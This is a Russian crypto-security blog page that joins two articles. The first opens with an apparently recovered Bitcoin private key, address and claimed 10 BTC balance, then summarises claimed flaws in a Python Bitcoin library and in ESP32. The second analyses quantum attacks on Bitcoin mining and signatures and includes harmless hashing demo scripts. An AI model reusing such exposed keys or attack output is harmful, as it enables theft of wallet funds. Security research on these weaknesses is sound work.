0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ Balance: 10.00000000 BTC ============================= KEYFOUND.privkey ============================= Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин. !pip3 install bitcoin __________________________________________________ Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ total_received = 10.00000000 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Итоги и шаги по уменьшению угрозы В современной цифровой среде критически важным становится обеспечение безопасности устройств и сетей. Данная статья посвящена анализу ряда уязвимостей, обнаруженных в различных компонентах, включая устройства ESP32 и программное обеспечение для работы с криптовалютами, таким как Биткоин. Рассматриваются недостатки в коде проверки приватных ключей, методах хеширования транзакций, генерации случайных ключей, проверке точек на кривой ECC, восстановлении Y-координаты, а также в устаревших API хеширования. Особое внимание уделяется уязвимости CVE-2025-27840 в микроконтроллерах ESP32, которая позволяет злоумышленникам внедрять поддельные обновления и получать низкоуровневый доступ к системе. Обсуждаются потенциальные последствия этих уязвимостей, включая возможность обхода средств контроля аудита кода, получения доступа к приватным ключам и проведения атак на цепочки поставок. В заключение предлагаются рекомендации по усилению безопасности и предотвращению возможных атак. Актуальность В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей в архитектуре одного компонента, что обозначено как CVE-2025-27840. Обнаруженные уязвимости позволяют злоумышленникам подменять MAC-адреса, получать несанкционированный доступ к памяти устройства и проводить атаки через Bluetooth. Уязвимости и их анализ Уязвимость для получения приватного ключа в функции has_invalid_privkey: Отсутствие проверки нижней границы приватных ключей Биткоин позволяет использовать недействительные ключи (меньше или равные 0), что может привести к потере средств. Уязвимость подделки подписей транзакции Биткоин в функции electrum_sig_hash: Использование нестандартного метода хеширования сообщений в Electrum делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137. Уязвимость в функции random_key (Слабый PRNG в генерации ключей): Использование модуля random для создания ключей в сети Биткоин делает личные ключи предсказуемыми для злоумышленников, так как этот модуль не предназначен для криптографических целей. Уязвимость в функции multiply (Отсутствие проверки точки на кривой ECC): Недостаточная проверка точек на кривой ECC может позволить злоумышленнику проводить invalid curve attacks, что может привести к поддельным подписям и манипуляциям в сети. Уязвимость в функции ecdsa_raw_sign: Некорректное восстановление Y-координаты может привести к подмене публичного ключа в сети Биткоин. Уязвимость в функции bin_ripemd160: Устаревшие API хеширования, особенно при отсутствии RIPEMD-160, могут быть уязвимы для атак, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности. Преимущества выявления и устранения уязвимостей Предотвращение финансовых потерь: Устранение уязвимостей, связанных с приватными ключами и подделкой подписей, помогает предотвратить потерю средств пользователей криптовалют. Защита конфиденциальных данных: Устранение уязвимостей в устройствах ESP32 предотвращает несанкционированный доступ к памяти и подмену MAC-адресов, что защищает конфиденциальные данные пользователей. Повышение безопасности сети: Устранение уязвимостей в криптографических функциях, таких как random_key и ecdsa_raw_sign, повышает общую безопасность сети Биткоин и предотвращает возможные атаки на транзакции и подписи. Укрепление доверия пользователей: Своевременное выявление и устранение уязвимостей способствует укреплению доверия пользователей к устройствам и программному обеспечению, что особенно важно в сфере криптовалют и IoT. Соблюдение стандартов безопасности: Регулярное обновление криптографических библиотек и API, а также следование современным стандартам безопасности помогает предотвратить использование устаревших и уязвимых компонентов. Заключение Выявление и анализ уязвимостей, представленные в данной статье, подчеркивают необходимость постоянного мониторинга и улучшения безопасности устройств и программного обеспечения. Устранение этих уязвимостей не только предотвращает возможные атаки и финансовые потери, но и способствует укреплению доверия пользователей и соблюдению стандартов безопасности. Внедрение надежных механизмов защиты и регулярные обновления безопасности являются ключевыми элементами для обеспечения безопасной и надежной работы цифровых систем. Необходимость повышения безопасности в устройствах и сетях, таких как ESP32, становится все более актуальной. References: Recommendations for Eliminating Vulnerabilities in Bitcoin Code and ESP32 Devices Weaknesses in Bitcoin Implementation: How Vulnerabilities in random_key and ecdsa_raw_sign Compromise Security Analysis of the has_invalid_privkey Function Vulnerability: Problems with Bitcoin Private Key Verification and Recommendations for Correction Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function, Risks Associated with Y-Coordinate Recovery, Code Examples to Demonstrate the Vulnerability Bitcoin Security: Examining Risks Associated with Incorrect ECC Verification and Obsolete Hashing APIs Security Risk Analysis: Vulnerabilities in ESP32 Devices and the Bitcoin Network Obsolete Hashing APIs in Bitcoin: Vulnerabilities of the bin_ripemd160 Function Fake Updates and Access to Private Keys: ESP32 Vulnerabilities and Their Consequences Bitcoin Security Risks: Vulnerabilities in Key Verification and Transaction Generation Functions Problems with Key Generation: random_key Function Vulnerability, Weak Pseudo-Random Number Generator and its Consequences Shortcomings of Cryptographic Functions in Bitcoin and Potential Threats to the Network Attacks on Elliptic Curve: multiply Function Vulnerability, Insufficient Verification of Points on the ECC Curve, Possible Attack Vectors The Importance of Current Cryptographic Libraries and Regular Updates Conclusion: The Need to Improve Security in Networks and Devices Potential Attacks Using Invalid Curves Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function Recommendations for Eliminating Vulnerabilities and Improving Protection Each title reflects key aspects of the article and can be used to structure the research Weak PRNG in Bitcoin Key Generation: Consequences of Using a Non-Deterministic random_key Analysis of Vulnerability CVE-2025-27840: How Architectural Flaws Can Threaten Billions of Devices Vulnerability of the has_invalid_privkey Function Impact of Vulnerabilities in ESP32 Microcontrollers on the Security of IoT Devices Methods for Exploiting Vulnerabilities in ESP32 Microcontrollers: Attacks via Bluetooth and Wi-Fi Hidden Vulnerabilities in ESP32 and Their Impact on the Security of IoT Devices Security Issues in ESP32 Devices: Disclosure of Vulnerability CVE-2025-27840 ESP32 Architectural Vulnerabilities: Revealing Hidden Commands and Their Impact on IoT Security Vulnerabilities in Bitcoin Code: Technical Analysis and Exploitation Methods Analysis of Vulnerabilities in Bitcoin: From Cryptographic Shortcomings to Obsolete APIs CVE-2025-27840 Vulnerabilities in ESP32 Microcontrollers: Exposing Billions of IoT Devices to Risk Non-Standard Hashing Methods and Their Vulnerabilities Problems with Key Generation: random_key Vulnerability Lack of ECC Point Verification as a Potential Vulnerability in the Bitcoin multiply Function Risks of Recovering the Y-Coordinate in Elliptic-Curve Cryptography Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability Vulnerability in the ecdsa_raw_sign Function: Risk of Public Key Substitution During Y-Coordinate Recovery Hidden Vulnerabilities: A Threat to Modern Technologies CVE-2025-27840: Overview of Vulnerabilities in the ESP32 Architecture Overview of Current Security Threats Hidden List of Vulnerabilities: Potential Risks for ESP32 Implementation of Fake Updates and Low-Level Access Problems with Private Key Verification and Their Consequences Forgery of Transaction Signatures: electrum_sig_hash Vulnerability Vulnerability of Bitcoin Transaction Signature Forgery Due to Non-Standard Hashing in Electrum Risks of Using Unreliable PRNGs in Bitcoin Insufficient ECC Point Verification: multiply Function Vulnerability Overview of Vulnerabilities in Bitcoin: Potential Risks for Private Keys and Transactions Critical Security Analysis of ESP32 and Bitcoin: Vulnerabilities and Methods of Protection Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability Problems with RIPEMD-160 Implementation Importance of Current Cryptographic Libraries Vulnerability of the electrum_sig_hash Function: Bitcoin Transaction Signature Forgery Non-Standard Hashing Method and its Consequences Examples of Attacks Based on Incompatibility with BIP-137 Analysis of Vulnerabilities in Bitcoin Implementation: From Key Generation to Signature Forgery CVE-2025-27840: Vulnerability in ESP32, Allowing Unauthorized Firmware Updates and Access to Private Keys Vulnerability in Bitcoin Private Key Verification: Bypassing Lower Bound Control Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab BitcoinChatGPT Small Subgroup Attack Dockeyhunt Deep Learning Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/nBeZWm2z5o4 Video tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236 Источник: https://cryptodeeptool.ru/bitcoin-bluetooth-attacks Криптоанализ
  7. CRYPTO DEEP TECH Многие эксперты по криптоанализу задаются вопросом: Сможет ли криптовалютная индустрия выстоять перед лицом новой технологической революции? В этой статье речь пойдет об современных методах защиты финансовых операций и интернета, основанные на криптографии, которые могут оказаться бессильными перед достаточно мощным квантовым компьютером, уязвимый ли криптовалюты, чей рынок оценивается в сотни миллиардов долларов. Исследование показывает, что алгоритм подтверждения работы, используемый в Bitcoin, относительно устойчив к квантовым атакам в ближайшее десятилетие, благодаря высокой скорости специализированного оборудования для майнинга. Однако, используемая Bitcoin система цифровых подписей на эллиптических кривых может быть взломана уже к 2027 году. В качестве альтернативы рассматривается алгоритм Momentum, который более устойчив к квантовым вычислениям. Также анализируются другие методы защиты, которые могут обеспечить безопасность и эффективность блокчейн-приложений в будущем. Биткоин, как децентрализованная и защищенная криптографией цифровая валюта, успешно существует с 2008 года, вдохновляя создание множества других криптовалют. Его безопасность обеспечивается механизмом подтверждения работы (proof-of-work) и криптографическими подписями на основе эллиптических кривых. Однако, развитие квантовых компьютеров представляет серьезную угрозу для Биткоина и всей современной криптографии, используемой в интернете и финансовых транзакциях. Исследование показывает, что алгоритм подтверждения работы, используемый в Биткоине, относительно устойчив к квантовым атакам в ближайшие 10 лет благодаря высокой скорости специализированного оборудования для майнинга. Но система цифровых подписей на эллиптических кривых уязвима для алгоритма Шора и может быть взломана уже к 2027 году, что позволит злоумышленникам получать секретные ключи из транзакции Биткоина и приватные ключи из открытых. В качестве решения предлагается использовать альтернативные алгоритмы, такие как Momentum для подтверждения работы, и квантово-устойчивые схемы подписи. В целом, результаты исследования говорят о том, что квантовые компьютеры представляют собой серьезную угрозу для Биткоина, и необходимо разрабатывать новые методы защиты, чтобы обеспечить его безопасность в будущем. Квантовые компьютеры могут взломать Биткоин в течение пяти лет. Это может привести к потере более 3 трлн долларов на криптовалютных и других рынках и вызовет глубокую рецессию. Основы работы Биткоина и принципы защиты от атак: механизм блокчейна и доказательство работы В этой части статьи мы постараемся объяснить, как устроен Биткоин, чтобы было проще понять возможные атаки с использованием квантовых компьютеров. Описание дается в общих чертах, так как основные принципы работы похожи и у других криптовалют. Все транзакции записываются в публичный реестр – блокчейн. Транзакции объединяются в блоки, которые считаются произошедшими одновременно и выстраиваются в цепочку. Каждый блок содержит ссылку на предыдущий в виде его хеша. Новые блоки добавляют майнеры, используя механизм «доказательства работы» (Proof-of-Work, PoW). Биткоин использует алгоритм Hashcash. Майнеры ищут подходящий заголовок блока, чтобы его хеш был меньше определенной величины. Заголовок содержит информацию о транзакциях, хеш предыдущего блока, временную метку и случайное число (nonce). Сложность задачи подбирается автоматически, чтобы блок находился примерно за 10 минут. В Биткоине используется двойное хеширование SHA256. Python-скрипт: DoubleSHA256Hasher.py import hashlib def double_sha256(data): """ Performs double SHA256 hashing on the input data. """ # First pass of SHA256 hash1 = hashlib.sha256(data).digest() # Second pass of SHA256 hash2 = hashlib.sha256(hash1).digest() return hash2 # Example usage data = b"Example data for double SHA256" # Data must be represented as bytes hashed_data = double_sha256(data) print(hashed_data.hex()) # Output in hexadecimal format В этом скрипте: Импортируется модуль hashlib. Определяется функция double_sha256, которая принимает данные в байтовом формате2. Внутри функции: Вычисляется хеш SHA256 от входных данных с помощью hashlib.sha256(data).digest(). Метод .digest() возвращает хеш в виде байтовой строки. Затем вычисляется хеш SHA256 от полученного хеша. Функция возвращает второй хеш. Пример использования показывает, как применить функцию к байтовой строке и вывести результат в шестнадцатеричном формате. Важно отметить, что входные данные должны быть представлены именно в байтах, для этого используется b"..." Майнеры добавляют в блок выбранные ими транзакции и получают за это вознаграждение в биткоинах. Когда майнер находит подходящий заголовок, он сообщает об этом сети, и блок добавляется в блокчейн. Проверить правильность решения PoW легко – достаточно один раз вычислить хеш. PoW нужен для того, чтобы один участник не мог подделать блокчейн, например, чтобы потратить одни и те же деньги дважды. Блокчейн может разветвляться, но майнеры должны работать над самой длинной цепочкой. Считается, что транзакция в Биткоине подтверждена, когда после нее добавлено еще 6 блоков. В статье рассматривается, какое преимущество квантовый компьютер может дать при решении PoW и сможет ли он подделывать блокчейн. Также анализируется структура транзакций. Когда Боб хочет отправить биткоины Алисе, Алиса создает пару ключей – приватный и публичный. Публичный ключ хешируется и получается адрес, который Алиса сообщает Бобу. Биткоин использует хеш публичного ключа для экономии места. Для отправки биткоинов Боб указывает транзакции, где он получил биткоины на свои адреса. Сумма полученных биткоинов должна быть не меньше, чем сумма, которую Боб хочет отправить Алисе. Боб подтверждает владение адресами, указывая публичные ключи и подписывая сообщение своим приватным ключом. Выбор использовать хеш публичного ключа вместо самого ключа влияет на безопасность Биткоина от квантовых атак. Иллюстрация блока. Данные в верхней части составляют заголовок блока. Attacks on the Bitcoin Proof-of-Work По большой части квантовый компьютер может быть эффективнее обычного при майнинге Биткоина, то есть при выполнении Proof-of-Work (PoW) на основе алгоритма hashcash. Квантовый компьютер, использующий алгоритм поиска Гровера, может выполнить PoW, перебрав значительно меньше вариантов хешей, чем классический компьютер. Однако, современные ASIC-майнеры, специализированные на вычислении хешей, работают настолько быстро, что это преимущество квантовых компьютеров нивелируется, учитывая, что скорость работы квантовых компьютеров пока еще относительно невелика. В будущем, если скорость работы квантовых компьютеров удастся увеличить до 100 ГГц, они смогут решать задачу PoW примерно в 100 раз быстрее, чем сейчас. Но это вряд ли произойдет в ближайшие 10 лет. К тому времени и обычные компьютеры станут быстрее, и квантовые технологии получат более широкое распространение, так что ни у кого не будет возможности единолично доминировать в майнинге. Для оценки безопасности блокчейна важно понимать, какой объем вычислительных ресурсов потребуется, чтобы квантовый компьютер мог успешно решать задачу PoW с вероятностью больше 50%.В итоге, хотя квантовые компьютеры и могут ускорить процесс майнинга теоретически, на практике, из-за ограничений текущих технологий, они пока не представляют серьезной угрозы для безопасности Биткоина. Однако, в будущем, с развитием квантовых технологий, эта угроза может стать более реальной, и необходимо разрабатывать соответствующие меры защиты насколько эффективным может быть квантовый компьютер при майнинге Биткоина, с учетом всех технических сложностей и ограничений. Алгоритм Гровера позволяет квантовому компьютеру искать решение (подходящий заголовок блока) гораздо быстрее, чем классическому, но на практике это преимущество сильно нивелируется. Вычисление хеша SHA256 на квантовом компьютере требует преобразования логических операций в обратимые квантовые операции, что увеличивает сложность. Кроме того, квантовым компьютерам необходимо исправлять ошибки, что также требует дополнительных ресурсов и времени. В итоге, скорость майнинга на квантовом компьютере зависит не только от алгоритма Гровера, но и от множества других факторов, таких как тактовая частота, частота ошибок, сложность алгоритмов коррекции ошибок и количество используемых кубитов. В статье вводится понятие «эффективной скорости хеширования» для квантового компьютера (hQC), которая учитывает все эти факторы. Анализ показывает, что при текущем уровне развития технологий квантовые компьютеры значительно уступают специализированным ASIC-майнерам по скорости хеширования. Однако, ожидается, что в будущем квантовые технологии будут развиваться, и их производительность будет расти. В статье приводятся прогнозы на ближайшие 25 лет и оценивается, когда квантовые компьютеры смогут превзойти классические в майнинге Биткоина. Даже если квантовый компьютер не сможет единолично контролировать майнинг, он может быть использован для атак на майнинговые пулы с использованием смарт-контрактов. Небольшое преимущество в скорости хеширования позволит злоумышленникам получать прибыль за счет манипуляций и удержания блоков. Несмотря на ограничения по времени, эффективная скорость хеширования асимптотически улучшается пропорционально квадратному корню сложности задачи, что отражает преимущество квантовых процессоров. Алгоритм Гровера можно запустить параллельно на нескольких квантовых процессорах. В идеальном случае, каждый процессор ищет решение во всем возможном пространстве вариантов. Это уменьшает число необходимых запросов к оракулу для нахождения решения. В результате, время нахождения решения сокращается, а общая скорость хеширования увеличивается. В алгоритме Гровера требуется фиксированное количество логических кубитов (2402), независимо от сложности задачи. Однако, количество необходимых физических кубитов зависит от используемых методов коррекции ошибок и связано со сложностью задачи и вероятностью ошибок. Результаты анализа производительности квантовых компьютеров при атаках на блокчейн представлены на рисунке 2. На графике сравнивается мощность хеширования сети Биткоин и одного квантового компьютера в течение следующих 25 лет. Оценки даны в оптимистичном и пессимистичном сценариях. Согласно оптимистичному прогнозу, до 2028 года не будет существовать квантовых компьютеров, достаточно мощных для реализации алгоритма Гровера. Для сравнения, на графике также показана скорость хеширования современных ASIC-устройств. Описание схемы скорости хеширования ASIC-устройств Современные ASIC-устройства для майнинга криптовалют на основе алгоритма SHA-256 (например, Bitcoin) работают следующим образом: Предварительная обработка данных: Входные данные дополняются до длины кратной 512 битам. Начальная настройка: Используются предопределенные начальные значения хеша. Обработка в блоках: Данные обрабатываются в 512-битных блоках за 64 раунда. Смешивание и преобразование: Побитовые операции, модульное сложение и сдвиги битов смешивают данные. Примеры устройств Устройство Скорость Хеширования Bitmain Antminer S21 Pro До 234 Th/s1 Antminer T9 11,5 Th/s4 Cheetah Miner F1 Около 24 Th/s6 Эти устройства оптимизированы для максимальной производительности при минимальном энергопотреблении. Для оценки достижимой производительности рассматриваются сверхпроводящие схемы, которые на сегодняшний день являются самыми быстрыми квантовыми технологиями и имеют хорошие перспективы масштабирования. При максимальной скорости работы элементов и определенных предположениях о частоте ошибок и сложности задачи, эффективная скорость хеширования квантового компьютера составляет 13.8 GH/s, что требует использования 4.4 миллиона физических кубитов. Это в тысячи раз медленнее, чем современные ASIC-устройства, которые достигают скорости 14 TH/s. Причина кроется в низкой скорости работы квантовых элементов и задержках, связанных с созданием отказоустойчивых T-элементов. Ожидается, что в будущем квантовые технологии будут быстро развиваться, и произойдет «квантовая версия закона Мура», которая повлияет на тактовую частоту, точность элементов и количество кубитов. Это позволит оценить мощность квантовых компьютеров в будущем. Очевидно, что квантовым компьютерам потребуется время, чтобы превзойти классические машины в задаче майнинга. Даже когда это произойдет, ни один квантовый компьютер не будет обладать подавляющей мощностью. Однако, даже небольшое преимущество в мощности над другими майнерами может сделать выгодными определенные виды атак, например, на майнинговые пулы, которые используют смарт-контракты. Например, при определенных оптимистичных предположениях, группа из 20 квантовых машин, работающих параллельно, может иметь 0.1% от общей мощности хеширования. Этого достаточно для проведения атак на майнинговые пулы и снижения их прибыли на 10% с минимальными затратами на подкуп. Attacks on signatures Биткоин использует для создания подписей Elliptic Curve Digital Signature Algorithm (ECDSA), основанный на кривой secp256k1. Безопасность этой системы опирается на сложность задачи дискретного логарифма на эллиптической кривой (ECDLP). Несмотря на то, что классически эта проблема считается сложной, Питер Шор предложил эффективный квантовый алгоритм для её решения. Последствия для биткоина таковы: (Повторное использование адресов) Чтобы потратить биткоин с адреса, необходимо раскрыть открытый ключ, связанный с этим адресом. Как только открытый ключ раскрывается в присутствии квантового компьютера, адрес больше не является безопасным и поэтому никогда не должен использоваться повторно. Хотя всегда использовать новые адреса — это рекомендуемая практика в Bitcoin, на практике это не всегда соблюдается. Любой адрес, на котором есть биткоины и для которого был раскрыт открытый ключ, является совершенно небезопасным. (Обработанные транзакции) Если транзакция совершена с адреса, с которого раньше не было расходов, и эта транзакция помещена в блокчейн с несколькими следующими за ней блоками, то эта транзакция достаточно защищена от квантовых атак. Закрытый ключ может быть получен из опубликованного открытого ключа, но, поскольку адрес уже был потрачен, это должно быть объединено с обходом хеширования сети для выполнения атаки двойной траты. Как мы видели в разделе III A, даже с квантовым компьютером атака двойной траты маловероятна, если за транзакцией следует много блоков. (Необработанные транзакции) После того, как транзакция была передана в сеть, но до того, как она будет помещена в блокчейн, она подвергается риску квантовой атаки. Если секретный ключ может быть получен из широковещательного открытого ключа до того, как транзакция будет помещена в блокчейн, злоумышленник может использовать этот секретный ключ для трансляции новой транзакции с того же адреса на свой собственный адрес. Если злоумышленник затем гарантирует, что эта новая транзакция будет помещена в блокчейн первой, то он может фактически украсть все биткоины, стоящие за исходным адресом. Мы рассматриваем пункт (3) как наиболее серьезную атаку. Чтобы определить серьезность этой атаки, важно точно оценить, сколько времени потребуется квантовому компьютеру для вычисления ECDLP, и можно ли это сделать за время, близкое к интервалу между блоками. Мы считаем атаку, описанную в пункте 3 (атака на необработанные транзакции), наиболее опасной. Чтобы оценить её серьёзность, важно понять, сколько времени потребуется квантовому компьютеру для решения задачи дискретного логарифма на эллиптической кривой (ECDLP) и возможно ли это сделать за время, сравнимое с интервалом между созданием блоков в блокчейне. Для поля из n-битного простого числа, согласно последним исследованиям, квантовый компьютер может решить задачу ECDLP, используя 9n + 2log2(n) + 10 логических кубитов и (448log2(n) + 4090)*n^3 вентилей Тоффоли. В биткоине используются 256-битные подписи (n = 256), поэтому число вентилей Тоффоли составляет 1.28 * 10^11, которые можно немного распараллелить до глубины 1.16 * 10^11. Каждый вентиль Тоффоли может быть реализован с использованием небольшой схемы T-вентилей, действующих на 7 кубитах параллельно (включая 4 вспомогательных кубита). Анализируя это, можно оценить ресурсы, необходимые для квантовой атаки на цифровые подписи. Как и в случае майнинга блоков, основное время тратится на дистилляцию «магических состояний» для логических T-вентилей. Время решения ECDLP на квантовом процессоре равно τ = 1.28 * 10^11 * cτ(pg)/s, где cτ зависит только от частоты ошибок вентилей (pg), а s — это тактовая частота. Количество необходимых физических кубитов равно nQ = 2334 * cnQ(pg), где первый множитель — это число логических кубитов, включая 4 вспомогательных логических кубита, а cnQ — это коэффициент пространственных затрат. На рисунке 3 показана производительность квантового компьютера для атак на цифровые подписи. Используя код поверхности с частотой ошибок физических вентилей pg = 5 * 10^-4, коэффициенты накладных расходов составляют cτ = 291.7 и cnQ = 735.3. В этом случае, при тактовой частоте 66.6 МГц, решение задачи займет 6.49 дней, используя 1.7 * 10^6 физических кубитов. Если же тактовую частоту увеличить до 10 ГГц, а частоту ошибок уменьшить до 10^-5, то подпись можно взломать за 30 минут, используя 485550 кубитов. Последний сценарий делает атаку на необработанные транзакции (пункт 3) вполне возможной и серьезно угрожает безопасности текущей системы Bitcoin. На рисунке 4 представлена оценка времени, необходимого квантовому компьютеру для взлома схемы подписи в зависимости от времени, основанная на определённой модели. Квантовый компьютер может взломать подпись транзакции, пока она ждет записи в блокчейн, и перенаправить деньги на кошелек злоумышленника. Сейчас для этого потребуется много времени и ресурсов, но развитие технологий может сделать такую атаку реальной. Чтобы оценить опасность, нужно понимать, как быстро квантовый компьютер сможет взламывать эти подписи. Все зависит от мощности компьютера и частоты ошибок. Если создать достаточно мощный и точный квантовый компьютер, взлом подписи может занять всего полчаса, что сделает систему Биткоин очень уязвимой. РИС. 4. На этом графике показаны две оценки времени (в секундах), необходимого квантовому компьютеру для взлома схемы подписи (красные кривые) в зависимости от времени на следующие 25 лет. Мы даем более и менее оптимистичные оценки (красные полосатые линии). Подробно модели описаны в Приложении C. Согласно этой оценке, схема подписи может быть взломана менее чем за 10 минут (600 секунд, черная пунктирная линия) уже в 2027 году Будущие усовершенствования квантовых атак Атаки на протокол Биткоин с использованием известных квантовых алгоритмов и схем коррекции ошибок. Хотя некоторые оценки скорости и масштабирования квантовых вычислений могут показаться оптимистичными, важно помнить, что есть несколько путей для улучшения производительности квантовых компьютеров в решении упомянутых проблем. Во-первых, в качестве кода коррекции ошибок здесь рассматривается код поверхности, который требует значительных классических вычислительных затрат для дистилляции состояний, извлечения синдрома ошибок и коррекции. Другие коды, обеспечивающие трансверсальные вентили Клиффорда и не-Клиффорда, могут устранить необходимость в медленной дистилляции состояний. Фактически, замедление из-за классической обработки для извлечения и коррекции синдрома может быть полностью устранено с использованием протокола без измерения, например, [PSBT10], который в недавнем анализе показывает пороговые значения ошибок [CJS16] всего примерно в 5 раз хуже, чем код поверхности с большим количеством измерений. Это может потенциально значительно улучшить общую скорость коррекции ошибок. Во-вторых, уменьшение количества логических вентилей в квантовых схемах возможно по мере разработки более эффективных передовых методов квантовых вычислений. Например, используя конкретную задачу большого размера (включая реализации оракула), которая была проанализирована в предыдущей работе [SVM+17], было достигнуто прямое сравнение конкретных подсчетов вентилей, полученных с помощью программного пакета Quipper, между старым [HHL09] и новым [CKS15] квантовыми алгоритмами решения линейных систем, показывающее улучшение на несколько порядков. Учитывая, что квантовые алгоритмы Шора и Гровера были хорошо изучены и тщательно оптимизированы, не следует ожидать такого значительного улучшения, тем не менее, вероятно, возможно некоторое улучшение. В-третьих, различные квантовые алгоритмы могут обеспечить относительное ускорение. Недавняя работа Калиски [Kal17] представляет квантовый алгоритм для задачи дискретного логарифма: найти m, если дано b = a^m, где b — известное целевое значение, а a — известное основание, используя запросы к так называемой подпрограмме «магического ящика», которая вычисляет наиболее значимый бит m. Повторяя запросы, используя продуманно выбранные степени целевого значения, можно вычислить все биты m и решить задачу. Поскольку разные биты решаются один за другим, задача может быть распределена между несколькими квантовыми процессорами. Каждому процессору требуется количество логических кубитов, сопоставимое с решением всей задачи, но общее время будет сокращено за счет распараллеливания. Кроме того, накладные расходы на квантовую коррекцию ошибок, вероятно, уменьшатся, поскольку фазы в квантовом преобразовании Фурье части схемы не должны быть такими точными, как в исходном алгоритме Шора. Улучшение коррекции ошибок: Вместо использования сложных кодов коррекции ошибок, можно применять более простые и быстрые методы, которые не требуют постоянных измерений. Оптимизация алгоритмов: Разрабатываются новые алгоритмы квантовых вычислений, которые позволяют уменьшить количество операций, необходимых для взлома подписи. Это как найти более короткий путь к цели. Параллелизация: Задачу взлома можно разделить на части и распределить между несколькими квантовыми компьютерами, чтобы ускорить процесс. Поэтому, даже если сейчас квантовая атака на Биткоин требует огромных ресурсов, с развитием технологий эта угроза будет становиться все более реальной. КОНТРМЕРЫ: Alternative proofs-of-work Квантовый компьютер может использовать поиск Гровера для выполнения proof-of-work в Биткоине, используя квадратично меньше хэшей, чем требуется классически. В этом разделе мы исследуем альтернативные proof-of-work, которые могут предложить меньшее квантовое преимущество. Основные свойства, которые мы хотим получить от proof-of-work: (Сложность) Сложность задачи можно регулировать в соответствии с вычислительной мощностью, доступной в сети. (Асимметрия) Гораздо проще проверить, что proof-of-work успешно завершен, чем выполнить proof-of-work. (Отсутствие квантового преимущества) Proof-of-work не может быть выполнен значительно быстрее с помощью квантового компьютера, чем с помощью классического компьютера. Python-скрипт: QuantumInspiredPoW.py import hashlib import random def rough_hash_check(nonce, prefix_zeros): """ Simulates checking a hash for compliance with difficulty (number of zeros at the beginning). """ data = str(nonce).encode('utf-8') hash_value = hashlib.sha256(data).hexdigest() return hash_value.startswith('0' * prefix_zeros) def grover_proof_of_work(difficulty): # difficulty - number of zeros at the start of the hash """ Pseudocode demonstrating an attempt to apply Grover's search idea (quantum acceleration of search) to find a nonce that meets Proof-of-Work requirements. In practice, this will not provide significant acceleration on a classical computer. """ N = 2**32 # Example: nonce search space (simplified) iterations = int(N**0.5) # Square root of N - estimate of Grover's iterations for _ in range(iterations): random_nonce = random.randint(0, N - 1) # Random choice of nonce if rough_hash_check(random_nonce, difficulty): print(f"Found nonce: {random_nonce}") return random_nonce return None # Did not find a suitable nonce # Example usage (with very low difficulty to find something) difficulty = 2 nonce = grover_proof_of_work(difficulty) if nonce: print(f"Nonce satisfying difficulty {difficulty}: {nonce}") else: print("Failed to find a nonce within the specified number of iterations.") грубая проверка хеша (nonce, prefix_zeros): Эта функция имитирует проверку, соответствует ли хеш nonce заданной сложности (количеству нулей в начале хеша). В реальной сети Bitcoin это заменяется проверкой, что хеш заголовка блока (включая nonce) меньше целевого значения. Здесь используется hashlib.sha256. поиск Гровера proof_of_work(difficulty): Это основная функция, которая пытается найти nonce, удовлетворяющий требованиям PoW. N = 2**32: Представляет собой пространство поиска nonce. В реальной сети Bitcoin пространство поиска гораздо больше. iterations = int(N**0.5): Ключевая идея, вдохновленная алгоритмом Гровера. Алгоритм Гровера теоретически позволяет найти решение в пространстве поиска размера N за O(sqrt(N)) операций, в отличие от O(N) для полного перебора. Мы пытаемся отразить это, выполняя корень квадратный из N итераций. В цикле мы случайным образом выбираем nonce и проверяем, соответствует ли его хеш требованиям сложности. Обратите внимание, что этот код не является реальной реализацией алгоритма Гровера и не даст никакого ускорения на классическом компьютере. Он просто демонстрирует концепцию использования sqrt(N) итераций. Proof-of-work Биткоина выполняет пункты (1) и (2), но мы хотели бы найти альтернативный proof-of-work, который лучше справляется с (3). Аналогичные соображения были исследованы авторами, пытающимися найти proof-of-work, которые вместо (3) ищут proof-of-work, которые не могут быть ускорены ASIC. Подход к этому заключается в рассмотрении proof-of-work, интенсивно использующих память. Было предложено несколько интересных кандидатов, таких как Momentum [Lar14], основанный на поиске коллизий в хеш-функции, Cuckoo Cycle [Tro15], основанный на поиске подграфов постоянного размера в случайном графе, и Equihash [BK17], основанный на обобщенной задаче о днях рождения. Это также хорошие кандидаты для более квантово-устойчивого proof-of-work.Все эти схемы основаны на proof-of-work в стиле hashcash и используют следующий шаблон. Пусть h1 : {0, 1} ∗ → {0, 1} n — криптографически безопасная хеш-функция, а H = h1(header) — хеш заголовка блока. Цель состоит в том, чтобы найти nonce x такой, что h1(H k x) ≤ t и P(H, x) для некоторого предиката P. Тот факт, что заголовок и nonce должны удовлетворять предикату P, означает, что лучший алгоритм больше не будет просто последовательно перебирать nonce x. Наличие proof-of-work в такой форме также гарантирует, что параметр t все еще может быть выбран для изменения сложности. Далее мы проанализируем этот шаблон для proof-of-work Momentum, так как это можно связать с 